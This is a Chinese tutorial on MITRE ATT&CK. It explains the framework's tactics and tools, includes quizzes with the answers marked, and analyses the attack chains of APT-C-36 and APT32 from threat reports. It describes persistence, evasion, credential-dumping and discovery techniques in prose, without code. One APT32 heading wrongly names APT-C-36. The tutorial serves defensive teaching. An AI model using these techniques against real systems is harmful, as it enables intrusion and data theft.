ATT&CK是MITRE提供的“对抗战术、技术和常识”框架,我们将对其进行基本内容介绍及战术解读。

ATT&CK的全称是Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK)。它是一个站在攻击者的视角来描述攻击中各阶段用到的技术的模型,模型内容是根据真实观察到的网络攻击数据提炼形成。该模型是由MITRE公司提出,这个公司一直以来都在为美国军方做威胁建模。 ATT&CK的目标是创建网络攻击中使用的已知对抗战术和技术的详尽列表。目前,ATT&CK已经成为了网络空间安全最热门的议题之一,它在安全行业中广受欢迎。 ATT&CK会详细介绍每一种攻防技术的利用方式,可以极大地帮助安全人员更快速地了解相关的技术内容。在ATT&CK的技术矩阵中,针对每种技术都有具体场景示例,说明攻击者是如何通过某一恶意软件或行动方案来利用该技术的,还引用了许多博客和安全研究团队发表的文章。因此,如果我们在ATT&CK中没有直接找到相关的技术实例,可以尝试在对应链接的文章中找到更为具体的实例讲解。 接下来,我们将从下面几个部分开始学习:
-ATT&CK是做什么的? -ATT&CK的组成部分有哪些? -ATT&CK的设计理念及战术划分是什么? -ATT&CK Navigator项目内容有哪些? -ATT&CK的应用场景有哪些? -ATT&CK的战术详解 -APT组织的ATT&CK攻击链分析

模型结构

目前ATT&CK模型由三部分组成,如下图所示: (1) PRE-ATT&CK:攻击前的准备,例如优先级定义、目标选择、信息收集、发现脆弱点、攻击性利用开发平台,建立和维护基础设施、人员的开发、建立能力和分段能力等。 (2) Enterprise:攻击时的部分已知技术手段,例如访问初始化、执行、常驻、提权、防御规避、访问凭证、发现、横向移动、收集、数据获取、命令和控制等。 (3) Mobile:移动端的部分已知技术手段,移动框架和Enterprise类似,只是适用的平台不同。

技术域和平台

从官网展示出的框架种可以看出,ATT&CK最直观的表现是一个矩阵。那么,根据上面的模型结构,如果按照技术域(Technology Domains)和平台(Platform)进行分类,其内容如下:
Technology Domains(技术域)| Platform(s) defined(平台域) Enterprise(企业技术)| Linux, macOS, Windows Mobile(移动端技术)| Android, iOS
其中,Enterprise(企业技术)对应于官网主页中的企业技术手段技术域,平台对应的是Linux, macOS, Windows这三类主流平台;Mobile(移动端技术)对应于官网主页中的移动端技术域,平台对应的是Android, iOS这两类主流平台,如图所示。 注意:在具体的矩阵表示中,上述分类都是基于post-compromise阶段。为了对这之前的pre-compromise阶段进行描述,ATT&CK单独建立了另外一个矩阵,叫做PRE-ATT&CK Matrix。
https://attack.mitre.org/matrices/pre/

测试一下


ATT&CK模型对应组成顺序是什么?
|准备阶段=PRE-ATT&CK |攻击阶段=Enterprise |移动端=Mobile

设计理念

通过前面的基本介绍,我们可以知道ATT&CK的一些基本组成情况。下面,我们将进一步介绍ATT&CK的主要设计理念和战术划分,以帮助大家更好地进行学习。 ATT&CK之所以有效,是因为所有战术、技术和流程 (TTP) 都基于现实世界中观察到的真实攻击团伙所为。 很多攻击团伙都用相同的技术,就好像攻击团伙有自己的战术手册,还用此战术手册让新成员快速上手似的。 其主要的设计理念如下: ① It maintains the adversary’s perspective (基于攻击者视角) ② It follows real-world use of activity through empirical use examples (追踪现实世界中的使用和出现过的用法) ③ The level of abstraction is appropriate to bridge offensive action with possible defensive countermeasures (抽象层次恰好可以较好地将攻击手法和防守措施联系起来)

战术划分

ATT&CK for Enterprise将网络安全事件划分为12个阶段,可看作是12种战术指导思想,可以研究并分析过往攻击者每个攻击阶段所用的 TTP。 ATT&CK战术按照逻辑分布在多个矩阵中,以 “初始访问” 战术开始,共包含12项战术: 初始访问--> 执行--> 持久化--> 提权--> 防御绕过--> 凭据访问--> 探索发现--> 横向移动--> 收集信息--> 命令与控制--> 数据渗漏--> 影响 通常来说,攻击者不会使用全部12项战术用于同一次攻击, 因为这会增加被发现的几率。但不管怎样,12项战术的顺序是一定的,也就是说某种程度上攻击者的攻击行为是可以预测到的,那么我们有必要把12项战术依次讲解一下。
-注:此处参考了一篇博文进行讲解,
https://blog.csdn.net/m0_38103658/article/details/106517758

(1)初始访问 首先是初始访问战术,尽管ATT&CK并不是按照任何线性顺序排列的,但初始访问是攻击者在企业环境中的立足点。对于企业来说,该战术是从PRE-ATT&CK到ATT&CK的理想过渡点。攻击者会使用不同技术来实现初始访问技术。 (2)执行 “执行”战术是所有攻击者都必然会采用的一个战术,因为无论攻击者通过恶意软件、勒索软件还是APT攻击等手段,为了能成功攻入主机最终都会选择“执行”战术。这是逃不开、躲不掉的,但换个角度想,如果恶意软件必须运行,安全防御人员将有机会阻止或者检测他,无论是主动出击式还是守株待兔式,都有可能成功防住。但是值得注意的是,并非所有的恶软都是可以用杀毒软件轻松找到的可执行文件,成熟的恶软会被攻击者精心包装,做了免杀加壳甚至自动备份隐藏,在面对这种机器无法扫描到的情况就需要人来进行干预。 (3)持久化 “持久化”战术是所有攻击者最受追捧的技术之一,除勒索软件外,大部分攻击者的存活时间取决于你何时被检测系统发现,试想一下,一个攻击者花了很大的攻击成本攻入了某台主机后,他必然不愿意再花同样的时间成本浪费在下次登陆的过程中,所以最简便最能减少工作量的方法就是“留后门”或者叫“持久化”。在攻击者成功执行完“持久化”之后,即便运维人员采取重启、更改凭据等措施后,持久化依然可以让计算机再次感染病毒或维护其现有连接。例如“更改注册表、启动文件夹、镜像劫持(IFEO)”等等。 (4)提升权限 “提权”战术也是攻击者比较追捧的技术之一,毕竟不是每位攻击者都能够使用管理员账号进行攻击,谁都希望自己能获得最大的权限,利用系统漏洞达到root级访问权限可以说是攻击者的核心目标之一了。 (5)防御绕过 “防御绕过”战术直至目前最新版的ATT&CK框架,仍是拥有技术最多的战术,目前包含69项技术。而防御绕过中有一些技术可以让一些恶意软件骗过防病毒产品,让这些防病毒产品根本无法对其进行检查,又或者绕过白名单技术。例如,修改注册表键值、删除核心文件、禁用安全工具等等。当然作为防御者的我们,在应对此类战术时可以通过监视终端上的更改并收集关键系统的日志将会让入侵无处遁形。 (6)凭据访问 “凭据访问”也是攻击者当中较为火热的战术,毫无疑问,“凭据”是攻击者最想要的东西之一,因为有了凭据,不仅能节省下来大量的攻击成本,而且减少了攻击被发现的风险。试想一下,如果攻击者可以堂而皇之的进行登录,那么为什么要花费大量的攻击成本冒险使用0day漏洞入侵呢。 (7)探索发现 “发现”战术可以说是整个ATT&CK框架中最难以防御的策略,可以说是“防不胜防啊”。其实“发现”战术与洛克希德·马丁网络Kill Chain的侦查阶段有很多相似之处。组织机构要正常运营业务,肯定会暴露某些特定方面的内容。 (8)横向移动 “横向移动”战术是攻击者常用战术之一,在攻击者利用某个漏洞进入系统后,无论是为了收集信息还是继续为了下一步攻击寻找突破点,通常都会尝试在网络内横向移动。哪怕是勒索软件,甚至是只针对单个系统的勒索软件,通常也会试图在网络中移动寻找其攻击目标。攻击者一般都会先寻找一个落脚点,然后开始在各个系统中移动,寻找更好的访问权限,最终控制整体网络。 (9)收集 “收集”战术是一种攻击者为了发现和收集实现目标所需的数据而采取的技术。但是该战术中列出的许多技术都没有关于如何减轻这些技术的实际指导。实际上,大多数都是含糊其辞,称使用应用白名单,或者建议在生命周期的早期阶段阻止攻击者。 (10)命令和控制 现在大多数恶意软件都有一定程度的命令和控制权。黑客可以通过命令和控制权来渗透数据、告诉恶意软件下一步执行什么指令。对于每种命令和控制,攻击者都是从远程位置访问网络。因此了解网络上发生的事情对于解决这些技术至关重要。 (11)数据渗漏 攻击者获得访问权限后,会四处搜寻相关数据,然后开始着手数据渗透。但并不是所有恶意软件都能到达这个阶段。例如,勒索软件通常对数据逐渐渗出没有兴趣。与“收集”战术一样,该战术对于如何缓解攻击者获取公司数据,几乎没有提供指导意见。 (12)影响 “影响”是ATT&CK最后一项战术,攻击者试图操纵、中断或破坏企业的系统和数据。用于影响的技术包括破坏或篡改数据。在某些情况下,业务流程可能看起来很好,但可能已经更改为有利于对手的目标。这些技术可能被对手用来完成他们的最终目标,或者为机密泄露提供掩护。 总的来说,每项战术的纵列对应着不同的技术内容,而且每种技术都有唯一的ID号码,童鞋们只需在官网矩阵中对应点击链接即可查看详细讲解进行深入学习。 这些向下的纵列展开每个技术的流程,可以帮助我们更好地理解不同攻击团伙是怎么执行此技术的。然后还可以用此知识对自身网络中活跃攻击者的行为,构建检测和防御措施。 目前,国内已有研究人员将该框架的翻译版本开源,具体内容也可对应进行深入学习(简直是福音~)
https://github.com/NomadCN112/Chinese-translation-ATT-CK-framework

http://vulhub.org.cn/attack
此外, ATT&CK 通过整合、分析400多份公开的威胁情报报告,将技术报告中的内容与ATT&CK技术进行了映射,整理得出了Top 20攻击技术,我们也可以对照这些关键技术进行针对性学习~
https://www.freebuf.com/articles/network/223122.html

测试一下


下列哪项不是ATT&CK的主要设计理念?|基于攻击者视角|追踪现实世界中的使用和出现过的用法|!基于防御者视角|抽象层次恰好可以较好地将攻击手法和防守措施联系起来

ATT&CK Navigator

下面介绍的就是ATT&CK Navigator项目。
https://mitre-attack.github.io/attack-navigator/enterprise/
ATT&CK Navigator可以作为探索 ATT&CK 知识库的导航器。与官网中展示的ATT&CK大型矩阵图片相比,这个导航工具给人更直观的战术展示,而且具有良好的交互性。通过简单地点击鼠标,就能学习到很多知识,这个项目主要是为之后的工作有很好的标记作用。

基本用法

ATT&CK Navigator项目比较好用的几个功能都是筛选类的功能,比如你可以根据不同的APT组织以及恶意软件进行筛选,可以看出组织和恶意软件使用的Technique,并进行着色,这样就可以很明显看出来这个组织的攻击使用技术。 同时也可以根据不同的需求,保存为其它格式导出,包括Json、Excel以及SVG,也支持根据平台和阶段进行选择,如图所示。

使用实例

在使用实例中,我们参考国外的应用来进行展示。例如,Tripwire 的 Travis Smith 在 ATT&CKCon大会上做了题为 “ATT&CK; as a Teacher” 的演讲中,将 ATT&CK矩阵按漏洞利用难度加以组织。此颜色标识图例就是基于下面这张按难度等级从上到下排列的图表。 进一步,我们就可以应用 ATT&CK Navigator来进行难度颜色分级标识,如图所示。此处图例参考
https://www.tripwire.com/state-of-security/mitre-framework/using-attck-teacher/
在该项目中,需要童鞋们尽可能多去实践探索和研究哦,你可能会有更多有趣的发现~
https://www.tripwire.com/state-of-security/mitre-framework/using-attck-teacher/

测试一下


ATT&CK Navigator项目可以进行自定义哪些标识?|颜色分级标识|导出json|!导入excel|筛选战术

ATT&CK使用场景

ATT&CK在各种日常环境中都很有价值。开展任何防御活动时,可以应用ATT&CK分类法,参考攻击者及其行为。 奇安信团队在 ATT&CK 的 APT 威胁跟踪和狩猎有一定的研究深度,其有助于对网络威胁攻击和对抗的更全面理解,甚至可以延伸至从数据和检测的视角来看待威胁本身。如图所示:
https://www.secpulse.com/archives/124757.html
奇安信的baronpan在BCS2019上演讲的议题中表示,ATT&CK可以进行如下表达和场景应用:
ATT&CK是对 TTP 的一种标准化表达,包括战术目的、技术手段以及攻击过程中技术手段的选择; ATT&CK 一定程度上是偏实战化的,毕竟其研究基础是真实曝光的网络威胁活动; ATT&CK是具有应用场景限定的,同样因为其关注的威胁类型和研究基础所选取的来源范围,其更适用与面向具有网络边界的网络攻防场景,而像云安全、业务安全、工控安全,甚至移动安全的威胁场景都存在一些不太适用或不太全面的情况。
ATT&CK不仅为网络防御者提供通用技术库,还为渗透测试和红队提供了基础。提到对抗行为时,其可以作为防御者和红队成员的通用语言。企业组织可以使用多种方式来使用MITRE ATT&CK。接下来为大家介绍一些常见的主要场景。

红蓝对抗

ATT&CK可用于创建对抗性模拟场景,测试和验证针对常见对抗技术的防御方案。例如在红蓝对抗中的演练过程应用ATT&CK能够形成统一通用的语言进行实践。红队、紫队和渗透测试活动的规划、执行和报告可以使用ATT&CK,以便防御者和报告接收者以及其内部之间有一个通用的沟通框架。

防御差距评估

ATT&CK可以用作以行为为核心的常见对抗模型,以评估组织企业内现有防御方案中的工具、监视和缓解措施。在研究MITRE ATT&CK时,大多数安全团队都倾向于为Enterprise矩阵中的每种技术尝试开发某种检测或预防控制措施。 虽然这并不是一个坏主意,但是ATT&CK矩阵中的技术通常可以通过多种方式执行。 因此,阻止或检测执行这些技术的一种方法并不一定意味着涵盖了执行该技术的所有可能方法。由于某种工具阻止了用另一种形式来采用这种技术,而组织机构已经适当地采用了这种技术,这可能导致产生一种虚假的安全感。但是,攻击者仍然可以成功地采用其他方式来采用该技术,但防御者却没有任何检测或预防措施。

SOC成熟度评估

ATT&CK可用作一种度量,确定SOC在检测、分析和响应入侵方面的有效性。SOC团队可以参考ATT&CK已检测到或未涵盖的技术和战术。这有助于了解防御优势和劣势在哪里,并验证缓解和检测控制措施,并可以发现配置错误和其他操作问题。

网络威胁情报收集

ATT&CK对于网络威胁情报很有用,因为ATT&CK是在用一种标准方式描述对抗行为。可以根据攻击者已知利用的ATT&CK中的技术和战术来跟踪攻击主体。这为防御者提供了一个路线图,让他们可以对照他们的操作控制措施,查看对某些攻击主体而言,他们在哪些方面有弱点,在哪些方面有优势。针对特定的攻击主体,创建MITRE ATT&CK 导航工具内容,是一种观察环境中对这些攻击主体或团体的优势和劣势的好方法。ATT&CK还可以为STIX 和 TAXII 2.0提供内容,从而可以很容易地将支持这些技术的现有工具纳入中。 与日常的威胁分析类似,对 ATT&CK 的运营和更新一方面依赖于对已知团伙的攻击 TTP 的分析和归纳,以及新的活动中使用的 TTP,另外基于一些红蓝对抗、安全研究中所发现和披露的常用攻击技术、攻击面、攻击向量同样可以补充到矩阵中,并且需要向下拆解映射到具体的检测点和检测特征中,从而可以应用于 Threat Hunting 过程。 总体而言,ATT&CK提供了将近70个攻击主体和团体的详细信息,包括根据开放源代码报告显示,已知他们所使用的技术和工具。使用ATT&CK的通用语言,为情报创建过程提供了便利。如前所述,这适用于攻击主体和团体,但也适用于从SOC或事件响应活动中观察到的行为。也可以通过ATT&CK介绍恶意软件的行为。任何支持ATT&CK的威胁情报工具都可以简化情报创建过程。将ATT&CK应用于任何提及的行为的商业和开源情报也有助于保持情报的一致性。 当各方围绕对抗行为使用相同的语言时,将情报传播到运维人员或管理人员变得容易得多了。如果运营人员确切地知道什么是强制验证,并且在情报报告中看到了这一信息,则他们可能确切地知道应该对该情报采取什么措施或已经采取了哪些控制措施。 以这种方式,实现ATT&CK对情报产品介绍的标准化可以大大提高效率并确保达成共识。 参考链接:
https://www.secpulse.com/archives/115412.html

https://www.secpulse.com/archives/124757.html

测试一下


下列哪项不属于ATT&CK的主要使用场景?|红蓝对抗|威胁情报收集|!资产发现|SOC成熟度评估

前言

APT攻击,全称是“高级持续性威胁”(Advanced Persistent Threat),是一个集合了多种常见攻击方式的综合攻击。综合多种攻击途径来尝试突破网络防御,通常是通过Web或电子邮件传递,利用应用程序或操作系统的漏洞,利用传统的网络保护机制无法提供统一的防御。除了使用多种途径,高级定向攻击还采用多个阶段穿透一个网络,然后提取有价值的信息,这使得它的攻击更不容易被发现。 本部分我们将针对特定的APT组织进行分析和讲解。

APT-C-36背景

根据奇安信威胁情报中心披露的针对盲眼鹰(APT-C-36)攻击手法的分析,首先我们对该APT组织进行背景说明。
https://ti.qianxin.com/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations/
从2018年4月起至今,一个疑似来自南美洲的APT组织盲眼鹰(APT-C-36)针对哥伦比亚政府机构和大型公司(金融、石油、制造等行业)等重要领域展开了有组织、有计划、针对性的长期不间断攻击。 其攻击平台主要为Windows,攻击目标锁定为哥伦比亚政企机构,截止目前奇安信威胁情报中心一共捕获了29个针对性的诱饵文档,Windows平台木马样本62个,以及多个相关的恶意域名。 2018年4月,奇安信威胁情报中心捕获到第一个针对哥伦比亚政府的定向攻击样本,在此后近一年时间内,我们又先后捕获了多起针对哥伦比亚政企机构的定向攻击。攻击者习惯将带有恶意宏的MHTML格式的Office Word诱饵文档通过RAR加密后配合鱼叉邮件对目标进行投递,然后将RAR解压密码附带在邮件正文中,具有很好的躲避邮件网关查杀的效果。其最终目的是植入Imminent后门以实现对目标计算机的控制,为接下来的横向移动提供基础。 奇安信威胁情报中心通过分析攻击者投递的多个加密的Office Word文档的最后修改时间、MHTML文档字符集(语言环境)、攻击者使用的作者名称等信息,并结合地缘政治等APT攻击的相关要素,判断攻击者疑似来自于UTC时区在西4区(UTC-4)正负1小时对应的地理位置区域(南美洲)。 奇安信威胁情报中心总结了该APT组织的TTP如图所示:

APT-C-36攻击目标

根据关联到的样本对受害者进行分类统计后,我们发现攻击者主要针对哥伦比亚的政府机构和大型公司,其目的是植入Imminent后门以实现对目标计算机的控制,为接下来的横向移动等攻击行为提供基础。从受害者的背景信息来看,攻击者所关注的政企机构在战略层面有重大意义,同时也不排除其同时有窃取商业机密和知识产权的动机。 基于奇安信威胁情报中心对该APT组织的攻击信息统计显示,攻击者伪装成哥伦比亚国家民事登记处、哥伦比亚国家税务和海关总署、哥伦比亚国家统计局、哥伦比亚国家网络警察局、哥伦比亚国家司法部门,对哥伦比亚的政府、金融机构,本国大型企业或跨国公司的哥伦比亚分公司进行攻击,相关信息统计如图所示:

APT-C-36攻击链分析

下面我们对APT-C-36组织进行关键的攻击链分析,如图所示,为ATT&CK官网列举的APT-C-36攻击链对应内容,其展示了该组织使用的子战术内容,我们将结合网络上的开源威胁情报和报告来对ATT&CK官网的攻击链技术内容进行进一步的归类、整合和解读。
https://attack.mitre.org/groups/G0099/

https://ti.qianxin.com/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations/

1.初始访问:
网络钓鱼-鱼叉式附件:APT-C-36使用带有密码保护的RAR附件的伪造电子邮件,以避免被电子邮件网关检测到。 Eg:攻击者通过入侵西班牙语网站或者注册有隐私保护的域名并上传用于投放的攻击载荷文件和文档,发送带有MHTML文件格式并包含恶意宏代码的Word文档的鱼叉邮件。 如图所示:
2.防御规避:
混淆文件或信息:APT-C-36已使用ConfuserEx混淆了Imminent Monitor的变体,压缩的有效负载和RAT软件包以及受密码保护的加密电子邮件附件,以避免被检测到。 如图所示:
3.执行:
恶意文件:APT-C-36已提示受害者接受宏以执行后续有效负载。 命令和脚本解释器:APT-C-36已将VBScript嵌入恶意Word文档中,该文档在打开后即被执行。 如图所示:
4.命令与控制:
入口工具转移:打开恶意文档后,APT-C-36已从指定的域下载了二进制数据。 非标准端口:APT-C-36已使用端口4050进行C2通信。 如图所示: 以上就是针对APT-C-36组织的攻击链简单分析,更多信息可以参考官网的讲解和导航图。
https://attack.mitre.org/groups/G0099/

https://mitre-attack.github.io/attack-navigator/enterprise/#layerURL=https%3A%2F%2Fattack.mitre.org%2Fgroups%2FG0099%2FG0099-enterprise-layer.json

测试一下


下列哪项不属于APT-C-36的战术阶段?|初始访问|命令控制|!发现|防御规避

APT32背景

APT32海莲花(OceanLotus),是一个据称越南背景的APT组织。该组织最早于2015年5月被天眼实验室(奇安信威胁情报中心红雨滴团队的前身)所揭露并命名,其攻击活动最早可追溯到2012 年4月,攻击目标包括中国海事机构、海域建设部门、科研院所和航运企业,后扩展到几乎所有重要的组织机构,并持续活跃至今。 天眼实验室在针对海莲花组织发布的首份APT分析报告中,列出了攻击时间线概要如下:
https://ti.qianxin.com/uploads/2018/01/26/807a12464561e0ee33f8d906585796d8.pdf
2012年4月起,有境外黑客组织对中国政府、科研院所、海事机构、海域建设、航运企业等相关重要领域展开了有组织、有计划、有针对性的长时间不间断攻击。我们将其命名为OceanLotus(海莲花)。 该组织主要通过鱼叉攻击和水坑攻击等方法,配合多种社会工程学手段进行渗透,向境内特定目标人群传播特种木马程序,秘密控制部分政府人员、外包商和行业专家的电脑系统,窃取系统中相关领域的机密资料。 现已捕获OceanLotus特种木马样本100余个,感染者遍布国内29个省级行政区和境外的36个国家。其中,3%的感染者在中国。北京、天津是国内感染者最多的两个地区。 为了隐蔽行踪,该组织还至少先后在6个国家注册了C2(也称C&C,是Command and Control的缩写)服务器域名35个,相关服务器IP地址19个,服务器分布在全球13个以上的不同国家。 2014年2月以后,OceanLotus进入攻击活跃期,并于2014年5月发动了最大规模的一轮鱼叉攻击,大量受害者因打开带毒的邮件附件而感染特种木马。而在2014年5月、9月,以及2015年1月,该组织又对多个政府机构、科研院所和涉外企业的网站进行篡改和挂马,发动了多轮次、有针对性的水坑攻击。 OceanLotus先后使用了4种不同形态的特种木马。初期的OceanLotus特种木马技术并不复杂,比较容易发现和查杀。但到了2014年以后,OceanLotus特种木马开始采用包括文件伪装、随机加密和自我销毁等一系列复杂的攻击技术与安全软件进行对抗,查杀和捕捉的难度大大增加。而到了2014年11月以后,OceanLotus特种木马开始使用云控技术,攻击的危险性、不确定性与木马识别查杀的难度都大大增强。

APT32攻击目标

根据各安全厂商机构对该组织活动的拼图式揭露,海莲花团伙除针对中国发起攻 击之外,其攻击所涉及的国家分布非常广泛,包括越南周边国家,如柬埔寨、泰国、老挝等,甚至包括越南的异见人士、媒体、地产公司、外资企业和银行。
https://ti.qianxin.com/uploads/2018/01/26/807a12464561e0ee33f8d906585796d8.pdf

https://pc1.gtimg.com/softmgr/files/apt32_report_2019.pdf.
奇安信红雨滴(RedDrip)安全研究团队(前天眼实验室)一直对海莲花团伙的活动保持高强度的跟踪,在近期发现其自 2019 年以来对中南半岛的国家最新的攻击活动中使用的初始投放载荷文件和攻击利用技术,并且结合奇安信威胁情报数据,关联到一系列的攻击事件。 腾讯安全御见威胁情报中心曾在2019年上半年发布过海莲花组织2019年第一季度攻击活动报告,在报告发布之后一直到现在,监测到该组织针对中国大陆的攻击持续活跃。该组织的攻击目标众多且广泛,包括中国大陆的政府部门、海事机构、外交机构、大型国企、科研机构以及部分重要的私营企业等。并且我们监测到,有大量的国内目标被该组织攻击而整个内网都沦陷,且有大量的机密资料、企业服务器配置信息等被打包窃取。此外该团队发现,该组织攻击人员非常熟悉我国,对我国的时事、新闻热点、政府结构等都非常熟悉,如刚出个税改革时候,就立马使用个税改革方案做为攻击诱饵主题。而且钓鱼主题还包括绩效、薪酬、工作报告、总结报告等。 从整体攻击方式来看,攻击者依然采用电子邮件投递诱饵的方式,一旦获得一台机器的控制权后,立即对整个内网进行扫描和平移渗透攻击等。这也进一步说明了APT攻击活动不会因为被曝光而停止或者有所减弱,只要攻击目标存在价值,攻击会越来越猛烈,对抗也会越来越激烈。

越南目标案例

奇安信红雨滴(RedDrip)安全研究团队整理了 2018 年末至今的一些针对中南半岛的部分国家发起攻击的典型案例,此处以越南为例进行展示。 2019 年 4 月 1 日,红雨滴(ReDrip)安全研究团队在日常监控海莲花的攻击活动过程中,发现了一个越南语的文件名“Hop dong sungroup.rar” 。 其对应的中文为”大阳城合同”,压缩包内有重命名为 Noi dung chi tiet hop dong sungroup can chinh sua 的 winword.exe,对应的中文为”请参阅详细信息”。 除此之外,还关联到另一个翻译后为”太阳城集团”的压缩包诱饵 SUN_GROUP_CORPORATION 。其压缩包内的文件名如下: Noi dung can xac thuc va sua gui den CONG TY CO PHAN TAP DOAN MAT TROI Bo Tai Chinh.exe 对应中文为”需要进行身份验证和编辑,以便发送给财政部 - 太阳集团合股” COMPANY 经过查询发现太阳城集团实际上是越南最大的房地产开发商之一。 而这两个样本均由越南上传。因此我们猜测,海莲花组织在针对太阳城内部员工进行钓鱼攻击。 除了针对越南房地产业外,该团队还发现该组织会针对越南国家银行进行钓鱼攻击: 相关样本的压缩包名为 CPLH-NHNN-01-2019.rar,样本对应的日期为 2019 年 1 月 22 日,攻击极可能发生在相近的时间段内。 压缩包名对应的中文为:“越南国家银行-01-2019.rar”;而压缩包中的 winword.exe 被重命名为“ChiPhiLienHoanNHNN-BC2019.exe”,翻译后为:“越南国家银行 SBV-BC 2019.exe” SBV 指的是越南央银越南国家银行(SBV),而 BC 其实指的是 B2C,即第三方支付。 该次攻击大概率是针对银行内部员工发起的,类似于伪装成银行内部的第三方支付的文档传输过程。 除此之外,还有通过杀毒软件相关信息进行伪装的钓鱼。 压缩包名:“Gui lai cho MS.MAI post content kaspersky.rar”(返回 MS.MAI 发布内容 kaspersky) 我们看到还会以精油为主题进行钓鱼:“Tinh dau can mua”(需要购买精油),压缩包内的 PE 文件名为“有关购买和购买的详细信息”等。

APT32攻击链分析

下面我们对APT-C-36组织进行关键的攻击链分析。如图所示,为ATT&CK官网上下的APT-C-36攻击链对应内容(部分截图)。其中,涉及到的子战术内容近50种,我们将结合网络上的开源威胁情报和报告来对ATT&CK官网的攻击链技术内容进行进一步的归类、整合,针对重点的战术部分进行分析讲解。
本节参考链接



https://ti.qianxin.com/uploads/2019/05/08/e159233f9b2b714ba1e76e3e1b84deba.pdf

https://pc1.gtimg.com/softmgr/files/apt32_report_2019.pdf.

https://pc1.gtimg.com/softmgr/files/apt32_report_2019.pdf.

https://ti.qianxin.com/uploads/2019/05/08/e159233f9b2b714ba1e76e3e1b84deba.pdf

1. 初始访问
(1)水坑攻击:APT32通过诱骗受害者访问受损的水坑网站来感染受害者。 (2)鱼叉式网络链接:APT32已发送包含恶意链接的伪造电子邮件。 (3)网络钓鱼:鱼叉式附件APT32已发送带有伪装成文档或电子表格的恶意可执行文件的伪造电子邮件。 (4)本地帐户:APT32使用了合法的本地管理员帐户凭据。 根据腾讯御见威胁情报中心的分析可知,海莲花组织擅长使用鱼叉攻击,通过大量精准发送钓鱼邮件来投递恶意附件的方式进行攻击。从邮件主题来看,大部分邮件主题都非常本土化,以及贴近时事热点。邮件主题包括: 《定-关于报送2019年度经营业绩考核目标建议材料的报告》、《组织部干部四处最新通知更新》、《关于2019下半年增加工资实施方案的请示(待审)》、《2019年工作报告提纲2(第四稿)》、《2019年5月标准干部培训课程通知》等等。 整个2019年,该组织持续对多个目标不断的进行攻击,如下列钓鱼邮件:
2. 执行
(1)PowerShell APT32使用基于PowerShell的工具,PowerShell单行代码和Shellcode加载程序来执行。 (2)Windows命令外壳 APT32使用cmd.exe来执行。 (3)Visual Basic APT32使用了宏,COM脚本和VBS脚本。 (4)JavaScript / JScript APT32已使用JavaScript进行路过式下载和C2通信。 (5)客户端执行:APT32使用了RTF文档,其中包含用于执行恶意代码的漏洞。 (CVE-2017-11882) (6)恶意文件:APT32试图诱使用户执行通过鱼叉式附件传递的恶意投递器。
3. 持久化
(1)创建或修改系统进程:APT32修改了Windows服务,以确保在系统上加载PowerShell脚本。 APT32还创建Windows服务以建立持久性。 Office应用程序启动: APT32取代了Microsoft Outlook的VbaProject.OTM文件,以安装后门宏以实现持久性。 (2)劫持执行流:DLL侧加载-APT32运行了来自Symantec和McAfee的经过合法签名的可执行文件,它们加载了恶意DLL。该小组还通过删除库和合法的,经过签名的可执行文件(AcroTranscoder)来减轻后门的负担。 (3)计划任务/作业:计划任务-APT32已使用计划任务将其保留在受害系统上。 (4)服务器软件组件:Web Shell-APT32使用Web Shell来维护对受害网站的访问。 (5)引导或登录自动启动执行:注册表运行项/启动文件夹-APT32使用注册表运行键建立持久性,以执行PowerShell和VBS脚本以及直接执行其后门程序。 (6)过程注入:APT32恶意软件已将Cobalt Strike信标注入Rundll32.exe。 如采用chm诱饵执行后,会在%AppData%\Roaming下释放文件bcdsrv.dll,然后创建名为MonthlyMaintenance的计划任务:
4. 提权
利用特权升级:APT32已使用CVE-2016-7255升级特权。
5. 防御绕过
(1)文件和目录权限修改:Linux和Mac文件和目录权限修改APT32的macOS后门将其要执行的文件的权限更改为755。 (2)NTFS文件属性:APT32使用NTFS备用数据流隐藏其有效载荷。 (3)主机上的指示器删除:清除Windows事件日志-APT32已清除选择事件日志条目。 (4)主机上的指示器删除:文件删除-APT32的macOS后门可以接收“删除”命令。 (5)修改注册表 APT32的后门已修改Windows注册表以存储后门的配置。 (6)混淆的文件或信息 APT32使用Invoke-Obfuscation框架对PowerShell进行模糊处理,并执行其他代码混淆处理。APT32还使用Base64和称为“ Dont-Kill-My-Cat(DKMC)”的框架对有效载荷进行了编码。APT32还在macOS后门中以CBC模式使用AES-256加密了用于网络渗透的库。 (7)签名脚本代理执行:PubPrn-APT32已在执行脚本中使用PubPrn.vbs执行恶意软件,可能绕过了防御措施。 为了防止文件被安全厂商收集,海莲花组织特意在某些文件的资源中添加大量的垃圾数据的方式以扩充文件大小。如某文件,填充垃圾数据后,文件大小高达61.4 MB (64,480,256 字节): 此外,针对每台机器下发的恶意文件,都使用被下发机器的相关机器属性(如机器名)进行加密,而执行则需要该部分信息,否则无法解密。因此每个下发的恶意文件都不一样,而且即便被安全厂商捕捉,只要没有该机器的相关遥感数据就无法解密出真正的payload。加密流程为:
6. 定向访问
(1)输入捕获:键盘记录-APT32滥用了PasswordChangeNotify来监视和捕获帐户密码更改。 (2)操作系统凭证转储:APT32使用GetPassword_x64收集凭据。 (3)不安全的凭据:注册表中的凭据-APT32使用Outlook Credential Dumper来收集Windows注册表中存储的凭据。
7. 发现
(1)帐户发现:本地帐户-APT32使用网络本地组管理员命令枚举管理用户。 (2)网络服务扫描:APT32在网络上执行了网络扫描,以搜索开放的端口,服务,操作系统指纹以及其他漏洞。 (3)网络共享发现:APT32使用net view命令显示了所有可用的域列表、计算机列表或指定计算机的共享资源列表。 (4)查询注册表:APT32的后门可以查询Windows注册表以收集系统信息。 (5)远程系统发现:APT32使用命令网络组“域控制器” / domain枚举了DC服务器。该小组还使用了ping命令。 (6)系统信息发现:APT32已从受害者那里收集了操作系统版本和计算机名称。该小组的一个后门还可以查询Windows注册表以收集系统信息,而另一个macOS后门在其与C&C服务器的第一次连接上执行机器的指纹。 APT32执行shellcode来标识受感染主机的名称。 (7)系统网络配置发现:APT32使用ipconfig / all命令从系统收集IP地址。 (8)系统网络连接发现:APT32使用netstat -anpo tcp命令显示受害者计算机上的TCP连接。
(9)系统所有者/用户发现:APT32收集受害者的用户名,并在受害者的计算机上执行whoami命令。 APT32执行shellcode来收集受害者计算机上的用户名。
8. 横向移动
(1)横向工具转移:APT32在使用管理帐户横向移动之后部署了工具。 (2)远程服务:SMB / Windows管理员共享-APT32使用Net来使用Windows的隐藏网络共享将其工具复制到远程计算机以执行。
9. 收集信息
